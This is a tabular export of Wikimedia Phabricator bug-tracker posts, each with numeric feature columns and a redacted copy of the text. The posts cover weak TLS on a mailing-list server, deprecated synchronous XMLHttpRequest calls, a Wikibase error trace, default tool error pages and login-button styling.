475851,Improve SSL of lists.wikimedia.org,"The TLS setup on this box is definitely awful.  Many of the necessary changes are probably blocked by outdated software, so linking this to the jessie upgrade that sodium is long overdue for.",,,1434483908,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-3tmfmab5euy65kfc4wud,task_subcomment,,True,c3,2,True,,,-3,True,3.0,0.0,0.0,3.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,16.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.297297297297297,0.8918918918918919,"The TLS setup on this box is definitely awful.  Many of the necessary changes are probably blocked by outdated software, so linking this to the jessie upgrade that sodium is long overdue for."
445678,Improve SSL of lists.wikimedia.org,">>! In T90351#1215553, @Krenair wrote:
> @DaBPunkt: Please respond.

I was uncertain when I opened this bug, if it was confidential or not. I have no problem if this is switched to public (a similar bg about the OTRS is public after all).",,,1429311490,,PHID-USER-4nukugv22wnc3p6k557t,False,,,PHID-TASK-3tmfmab5euy65kfc4wud,task_subcomment,,True,c3,1,False,,,-11,True,2.0,0.0,0.0,2.0,2.0,9.0,7.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,14.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,14.0,7.0,2.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,2.0,0.0,0.0,0.0,9.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.4651162790697674,0.7906976744186046,"QUOTE
QUOTE

I was uncertain when I opened this bug, if it was confidential or not. I have no problem if this is switched to public (a similar bg about the OTRS is public after all)."
445320,Improve SSL of lists.wikimedia.org,@DaBPunkt: Please respond.,,,1429284385,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-3tmfmab5euy65kfc4wud,task_subcomment,,True,c3,1,True,,,-11,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.2,1.0,SCREEN_NAME: Please respond.
441760,Improve SSL of lists.wikimedia.org,"Does this need to be confidential, given it's just about dealing with SSL issues that anyone can see?",,,1428663795,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-3tmfmab5euy65kfc4wud,task_subcomment,,True,c3,1,True,,,-12,True,0.0,5.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,5.0,14.0,5.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,4.0,1.0,"Does this need to be confidential, given it's just about dealing with SSL issues that anyone can see?"
90328,PageTriage uses synchronous XMLHttpRequests,https://github.com/wikimedia/mediawiki-extensions-PageTriage/blob/ccaae01d5763f0a443c04838e206b82bae3dc930/modules/ext.pageTriage.util/ext.pageTriage.viewUtil.js#L52,Medium,50.0,1424498559,1458420058.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-USER-x7ti5ksby4ubsabntlxa,False,PHID-TASK-4b52sms2clh3aqmihyxh,task_description,duplicate,True,c3,1,True,False,False,-19,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
415933,PageTriage uses synchronous XMLHttpRequests,Cursory glance looks like this will need a refactor to use promises or some other solution. It should not be particularly hard though.,,,1424717145,,PHID-USER-r5pzlcquei6f4hb53rfg,False,,,PHID-TASK-4b52sms2clh3aqmihyxh,task_subcomment,,True,c3,1,False,,,-19,True,4.0,0.0,0.0,0.0,4.0,8.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,8.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,16.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,8.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.48,0.96,Cursory glance looks like this will need a refactor to use promises or some other solution. It should not be particularly hard though.
90327,Remove use of synchronous XMLHttpRequest (deprecated) ,"It's been discouraged since its inception, but has now officially been deprecated as of Chrome 40 and Firefox 30.

> Synchronous XMLHttpRequest on the main thread is deprecated because of its detrimental effects to the end user's experience. For more help, check http://xhr.spec.whatwg.org/.

http://updates.html5rocks.com/2012/01/Getting-Rid-of-Synchronous-XHRs

For the web's integrity, it's unlikely the features will be removed. Though new features are requirement to not allow use of these (e.g. XHR2 features only work asynchronous). While the deprecation reasons (performance( are reason enough, having these in our code base is an additional blocker for improvements of the lower level interfaces.",Medium,50.0,1424498188,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-cxxkobb5a3uhcinlgjd6,task_description,open,True,c3,1,True,False,,-19,True,0.0,0.0,0.0,3.0,1.0,7.0,2.0,0.0,1.0,0.0,3.0,0.0,0.0,1.0,0.0,1.0,0.0,7.0,12.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,9.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,4.0,0.0,1.0,0.0,0.0,0.0,15.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,5.0,7.0,10.0,3.0,2.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,4.0,12.0,3.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,4.373626373626373,0.7692307692307693,"It's been discouraged since its inception, but has now officially been deprecated as of Chrome 40 and Firefox 30.

QUOTE

URL

For the web's integrity, it's unlikely the features will be removed. Though new features are requirement to not allow use of these (e.g. XHR2 features only work asynchronous). While the deprecation reasons (performance( are reason enough, having these in our code base is an additional blocker for improvements of the lower level interfaces."
632704,Remove use of synchronous XMLHttpRequest (deprecated) ,There's a bunch of these under SemanticForms and SemanticResultFormats,,,1458427596,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-cxxkobb5a3uhcinlgjd6,task_subcomment,,True,c3,3,True,,,37,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,30.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,6.2,1.0,There's a bunch of these under SemanticForms and SemanticResultFormats
632703,Remove use of synchronous XMLHttpRequest (deprecated) ,"`extensions/Kartographer/lib/mapbox/mapbox-lib.js:		async: false`
There's also a bunch of these under SemanticForms and SemanticResultFormats",,,1458427450,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-cxxkobb5a3uhcinlgjd6,task_subcomment,,True,c3,3,True,,,37,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,31.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,5.461538461538462,1.0,"CODE
There's also a bunch of these under SemanticForms and SemanticResultFormats"
632702,Remove use of synchronous XMLHttpRequest (deprecated) ,"`/srv/mediawiki/php-1.27.0-wmf.17/extensions/Kartographer/lib/mapbox/mapbox-lib.js:		async: false`
There's also a bunch of these under SemanticForms and SemanticResultFormats",,,1458427433,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-cxxkobb5a3uhcinlgjd6,task_subcomment,,True,c3,3,True,,,37,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,31.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,5.461538461538462,1.0,"CODE
There's also a bunch of these under SemanticForms and SemanticResultFormats"
90270,HttpError from line 359 of EntityDataRequestHandler.php,"this very well might be a duplicate but can't find it now...

/wiki/Special:EntityData/Q13529975.json   HttpError from line 359 of /srv/mediawiki/php-1.25wmf17/extensions/Wikidata/extensions/Wikibase/repo/includes/LinkedData/EntityDataRequestHandler.php: Failed to load entity Q13529975.
#0 /srv/mediawiki/php-1.25wmf17/extensions/Wikidata/extensions/Wikibase/repo/includes/LinkedData/EntityDataRequestHandler.php(378): Wikibase\Repo\LinkedData\EntityDataRequestHandler->getEntityRevision()
#1 /srv/mediawiki/php-1.25wmf17/extensions/Wikidata/extensions/Wikibase/repo/includes/LinkedData/EntityDataRequestHandler.php(227): Wikibase\Repo\LinkedData\EntityDataRequestHandler->showData()
#2 /srv/mediawiki/php-1.25wmf17/extensions/Wikidata/extensions/Wikibase/repo/includes/specials/SpecialEntityData.php(153): Wikibase\Repo\LinkedData\EntityDataRequestHandler->handleRequest()
#3 /srv/mediawiki/php-1.25wmf17/includes/specialpage/SpecialPage.php(383): Wikibase\Repo\Specials\SpecialEntityData->execute()
#4 /srv/mediawiki/php-1.25wmf17/includes/specialpage/SpecialPageFactory.php(581): SpecialPage->run()
#5 /srv/mediawiki/php-1.25wmf17/includes/MediaWiki.php(270): SpecialPageFactory::executePath()
#6 /srv/mediawiki/php-1.25wmf17/includes/MediaWiki.php(560): MediaWiki->performRequest()
#7 /srv/mediawiki/php-1.25wmf17/includes/MediaWiki.php(424): MediaWiki->main()
#8 /srv/mediawiki/php-1.25wmf17/index.php(46): MediaWiki->run()

if the entity does not exist, then don't think this is such an exceptional condition or error in the software. I don't think this should go in the exception logs, together with other exception log entries.",Medium,50.0,1424462989,1439545356.0,PHID-USER-lzhljhpbm3qfphvqyill,False,PHID-USER-lzhljhpbm3qfphvqyill,False,PHID-TASK-y55q5ntddvjslwtepvr7,task_description,resolved,True,c3,1,True,True,True,-19,True,0.0,0.0,0.3333333333333333,0.0,1.3333333333333333,0.6666666666666666,0.3333333333333333,0.0,0.0,0.3333333333333333,0.6666666666666666,1.0,0.0,0.0,0.0,0.3333333333333333,0.0,3.0,2.3333333333333335,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,4.0,1.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,4.333333333333333,0.0,0.0,0.0,0.0,0.0,13.333333333333334,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.3333333333333333,0.0,1.0,0.0,0.0,0.0,1.6666666666666667,0.6666666666666666,12.333333333333334,0.3333333333333333,0.6666666666666666,3.3333333333333335,0.0,0.0,0.0,3.0,2.3333333333333335,0.0,5.666666666666667,0.0,0.6666666666666666,2.3333333333333335,11.666666666666666,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,5.551971326164875,0.4807442995500648,"this very well might be a duplicate but can't find it now...

/wiki/Special:EntityData/Q13529975.json   HttpError from line 359 of /srv/mediawiki/php-1.25wmf17/extensions/Wikidata/extensions/Wikibase/repo/includes/LinkedData/EntityDataRequestHandler.php: Failed to load entity Q13529975.
#0 /srv/mediawiki/php-1.25wmf17/extensions/Wikidata/extensions/Wikibase/repo/includes/LinkedData/EntityDataRequestHandler.php(378): Wikibase\Repo\LinkedData\EntityDataRequestHandler->getEntityRevision()
#1 /srv/mediawiki/php-1.25wmf17/extensions/Wikidata/extensions/Wikibase/repo/includes/LinkedData/EntityDataRequestHandler.php(227): Wikibase\Repo\LinkedData\EntityDataRequestHandler->showData()
#2 /srv/mediawiki/php-1.25wmf17/extensions/Wikidata/extensions/Wikibase/repo/includes/specials/SpecialEntityData.php(153): Wikibase\Repo\LinkedData\EntityDataRequestHandler->handleRequest()
#3 /srv/mediawiki/php-1.25wmf17/includes/specialpage/SpecialPage.php(383): Wikibase\Repo\Specials\SpecialEntityData->execute()
#4 /srv/mediawiki/php-1.25wmf17/includes/specialpage/SpecialPageFactory.php(581): SpecialPage->run()
#5 /srv/mediawiki/php-1.25wmf17/includes/MediaWiki.php(270): SpecialPageFactory::executePath()
#6 /srv/mediawiki/php-1.25wmf17/includes/MediaWiki.php(560): MediaWiki->performRequest()
#7 /srv/mediawiki/php-1.25wmf17/includes/MediaWiki.php(424): MediaWiki->main()
#8 /srv/mediawiki/php-1.25wmf17/index.php(46): MediaWiki->run()

if the entity does not exist, then don't think this is such an exceptional condition or error in the software. I don't think this should go in the exception logs, together with other exception log entries."
508156,HttpError from line 359 of EntityDataRequestHandler.php,no longer appears to be an issue,,,1439545382,,PHID-USER-lzhljhpbm3qfphvqyill,False,,,PHID-TASK-y55q5ntddvjslwtepvr7,task_subcomment,,True,c3,3,True,,,6,True,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,3.7142857142857144,1.0,no longer appears to be an issue
415735,HttpError from line 359 of EntityDataRequestHandler.php,"This might be an actual internal error.

Where is that error from? https://www.wikidata.org/wiki/Special:EntityData/Q13529975.json and https://www.wikidata.org/wiki/Q2696099 work just fine.

It seems this was produced by:

```
catch ( StorageException $ex ) {
  wfDebugLog( __CLASS__, __FUNCTION__ . "": failed to load $prefixedId: $ex (revision $revision)""  );
  $msg = wfMessage( 'wikibase-entitydata-storage-error' );
  throw new HttpError( 500, $msg->params( $prefixedId, $revision ) );
}
```

It would be nice to know the URL, $revision and $ex.

The other HttpErrors where made not logable in T76458.",,,1424699947,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-y55q5ntddvjslwtepvr7,task_subcomment,,True,c3,1,True,,,-19,True,0.0,0.0,0.0,2.0,2.0,10.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,2.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,2.0,2.0,0.0,3.0,2.0,3.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,11.0,3.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,6.0,17.0,3.0,3.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,6.0,5.0,2.0,0.0,0.0,3.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,3.2857142857142856,0.7301587301587301,"This might be an actual internal error.

Where is that error from? URL and URL work just fine.

It seems this was produced by:

``CODE``

It would be nice to know the URL, $revision and $ex.

The other HttpErrors where made not logable in T76458."
415734,HttpError from line 359 of EntityDataRequestHandler.php,"This might be an actual internal error.

Where is that error from? https://www.wikidata.org/wiki/Special:EntityData/Q13529975.json and https://www.wikidata.org/wiki/Q2696099 work just fine.

It seems this was produced by:

catch ( StorageException $ex ) {
  wfDebugLog( __CLASS__, __FUNCTION__ . "": failed to load $prefixedId: $ex (revision $revision)""  );
  $msg = wfMessage( 'wikibase-entitydata-storage-error' );
  throw new HttpError( 500, $msg->params( $prefixedId, $revision ) );
}

It would be nice to know the URL, $revision and $ex.

The other HttpErrors where made not logable in T76458.",,,1424699900,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-y55q5ntddvjslwtepvr7,task_subcomment,,True,c3,1,True,,,-19,True,0.0,0.0,0.0,0.5,0.5,5.5,1.5,0.0,0.0,0.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,2.5,3.0,0.0,1.0,0.0,0.0,0.0,1.5,0.5,0.0,0.0,0.5,0.5,0.0,1.5,0.5,1.0,0.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,2.5,0.5,0.5,0.0,0.0,0.0,10.5,1.0,0.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,8.5,1.0,1.0,3.5,0.0,0.0,0.0,0.0,3.0,0.0,1.5,0.0,1.0,3.0,4.5,0.5,2.5,0.0,1.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,1.0,3.1911764705882355,0.6764705882352942,"This might be an actual internal error.

Where is that error from? URL and URL work just fine.

It seems this was produced by:

catch ( StorageException $ex ) {
  wfDebugLog( __CLASS__, __FUNCTION__ . "": failed to load $prefixedId: $ex (revision $revision)""  );
  $msg = wfMessage( 'wikibase-entitydata-storage-error' );
  throw new HttpError( 500, $msg->params( $prefixedId, $revision ) );
}

It would be nice to know the URL, $revision and $ex.

The other HttpErrors where made not logable in T76458."
89864,Common http error response pages,"We should have default and informative 404 and 5xx pages automatically used by all tool web configs unless specified otherwise.

These pages should explain to visitors what is happening/where to get help etc as best as possible. (list maintainers ?)",Medium,50.0,1424288114,1449678270.0,PHID-USER-wrimmmr5w2zt7nk2t753,False,PHID-USER-h75guknmwivm6x37iute,False,PHID-TASK-xgzcov33fckf5yleacjm,task_description,declined,True,c3,1,True,False,False,-20,True,2.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,11.0,11.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,4.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,2.0,11.0,0.0,2.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,2.0,0.0,2.0,2.0,4.48936170212766,0.8723404255319149,"We should have default and informative 404 and 5xx pages automatically used by all tool web configs unless specified otherwise.

These pages should explain to visitors what is happening/where to get help etc as best as possible. (list maintainers ?)"
575636,Common http error response pages,"That used to be the case, but tool maintainers have requested that error messages from their web services be displayed untouched.  It's still the case for 503 errors (when there is no web service running), but if there //is// a service listening then its error messages are displayed.",,,1449678270,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-xgzcov33fckf5yleacjm,task_subcomment,,True,c3,3,True,,,22,True,0.0,0.0,0.0,4.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,5.0,9.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,25.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,7.0,4.0,5.0,4.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,5.0,9.0,2.0,0.0,0.0,0.0,5.0,0.0,2.0,2.0,0.0,4.0,0.0,0.0,0.0,4.232142857142857,0.7857142857142857,"That used to be the case, but tool maintainers have requested that error messages from their web services be displayed untouched.  It's still the case for 503 errors (when there is no web service running), but if there //is// a service listening then its error messages are displayed."
438861,Common http error response pages,"IIRC in the past the proxy overwrote individual tool error pages to ensure that the error pages clearly stated who was to blame for an error and not all reports got routed to `webmaster@tools.wmflabs.org` :-).  I think the overwrite has been disabled since, but that's still a point to consider when tackling this task.",,,1428319844,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-xgzcov33fckf5yleacjm,task_subcomment,,True,c3,1,True,,,-13,True,2.0,0.0,0.0,2.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,10.0,12.0,0.0,5.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,22.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,10.0,3.0,5.0,3.0,3.0,15.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,12.0,2.0,0.0,0.0,0.0,2.0,0.0,3.0,3.0,0.0,2.0,0.0,0.0,0.0,4.084745762711864,0.8135593220338984,"IIRC in the past the proxy overwrote individual tool error pages to ensure that the error pages clearly stated who was to blame for an error and not all reports got routed to CODE :-).  I think the overwrite has been disabled since, but that's still a point to consider when tackling this task."
89860,"Buttons on login page are inconsistent with the policy of ""only one primary button""; make the sign-up button unflagged primary","""Join Wikipedia"" should be quiet, and not ""large"" style ",Medium,50.0,1424286011,1457478133.0,PHID-USER-z3kqk2bjnqneldcznht6,True,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-mq3grqzgvohikudxjqcp,task_description,resolved,True,c3,1,False,False,False,-20,True,0.0,0.0,0.0,0.0,7.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.357142857142857,0.7857142857142857,"""Join Wikipedia"" should be quiet, and not ""large"" style "
634661,"Buttons on login page are inconsistent with the policy of ""only one primary button""; make the sign-up button unflagged primary","Change 277647 merged by jenkins-bot:
Improve sign-up portion of the login form

[[https://gerrit.wikimedia.org/r/277647]]",,,1458802592,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-mq3grqzgvohikudxjqcp,task_subcomment,,True,c3,3,False,,,38,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.5,0.875,"Change 277647 merged by jenkins-bot:
Improve sign-up portion of the login form

[[GERRIT_URL]]"
630432,"Buttons on login page are inconsistent with the policy of ""only one primary button""; make the sign-up button unflagged primary","Change 277647 had a related patch set uploaded (by VolkerE):
Follow-up to sign-up portion of the login form

[[https://gerrit.wikimedia.org/r/277647]]
",,,1458079209,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-mq3grqzgvohikudxjqcp,task_subcomment,,True,c3,3,False,,,36,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,3.375,0.84375,"Change 277647 had a related patch set uploaded (by VolkerE):
Follow-up to sign-up portion of the login form

[[GERRIT_URL]]
"
